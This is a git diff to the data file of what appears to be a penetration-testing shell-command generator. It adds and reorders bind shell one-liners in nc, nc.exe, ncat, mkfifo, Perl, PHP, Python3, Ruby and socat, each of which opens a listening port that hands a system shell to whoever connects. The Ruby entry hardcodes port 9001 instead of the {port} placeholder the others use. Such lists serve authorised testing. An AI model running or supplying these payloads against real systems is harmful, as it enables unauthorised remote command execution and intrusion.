diff --git a/js/data.js b/js/data.js index 660a509..5bb135d 100644 --- a/js/data.js +++ b/js/data.js @@ -400,25 +400,50 @@ const bindShellCommands = withCommandType( CommandType.BindShell, [ { - "name": "Python3 Bind", - "command": "python3 -c 'exec(\"\"\"import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind((\"0.0.0.0\",{port}));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())\"\"\")'", - "meta": ["bind", "mac", "linux", "windows"] + "name": "nc -e Bind", + "command": "nc -nlvp {port} -e /bin/sh", + "meta": ["bind", "mac", "linux"] }, { - "name": "PHP Bind", - "command": "php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,\"0.0.0.0\",{port});\socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,\"$ \",2))exit;\$in=socket_read($cl,100);$cmd=popen(\"$in\",\"r\");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'", - "meta": ["bind", "mac", "linux", "windows"] + "name": "nc.exe -e Bind", + "command": "nc.exe -nlvp {port} -e cmd", + "meta": ["bind", "windows"] }, { - "name": "nc Bind", + "name": "nc mkfifo Bind", "command": "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 {port} > /tmp/f", "meta": ["bind", "mac", "linux"] }, + { + "name": "ncat -e Bind", + "command": "ncat -nlvp {port} -e /bin/sh", + "meta": ["bind", "mac", "linux"] + }, { "name": "Perl Bind", "command": "perl -e 'use Socket;$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,\">&C\");open(STDOUT,\">&C\");open(STDERR,\">&C\");exec(\"/bin/sh -i\");};'", "meta": ["bind", "mac", "linux"] }, + { + "name": "PHP Bind", + "command": "php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,\"0.0.0.0\",{port});\socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,\"$ \",2))exit;\$in=socket_read($cl,100);$cmd=popen(\"$in\",\"r\");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'", + "meta": ["bind", "mac", "linux", "windows"] + }, + { + "name": "Python3 Bind", + "command": "python3 -c 'exec(\"\"\"import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind((\"0.0.0.0\",{port}));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())\"\"\")'", + "meta": ["bind", "mac", "linux", "windows"] + }, + { + "name": "Ruby Bind", + "command": "ruby -rsocket -e 'f=TCPServer.new(9001); s=f.accept; [0,1,2].each { |fd| IO.new(fd).reopen(s) }; exec \"/bin/sh -i\"'", + "meta": ["bind", "mac", "linux"] + }, + { + "name": "Socat (TTY) Bind", + "command": "socat TCP-LISTEN:{port},reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane", + "meta": ["bind", "mac", "linux"] + } ] );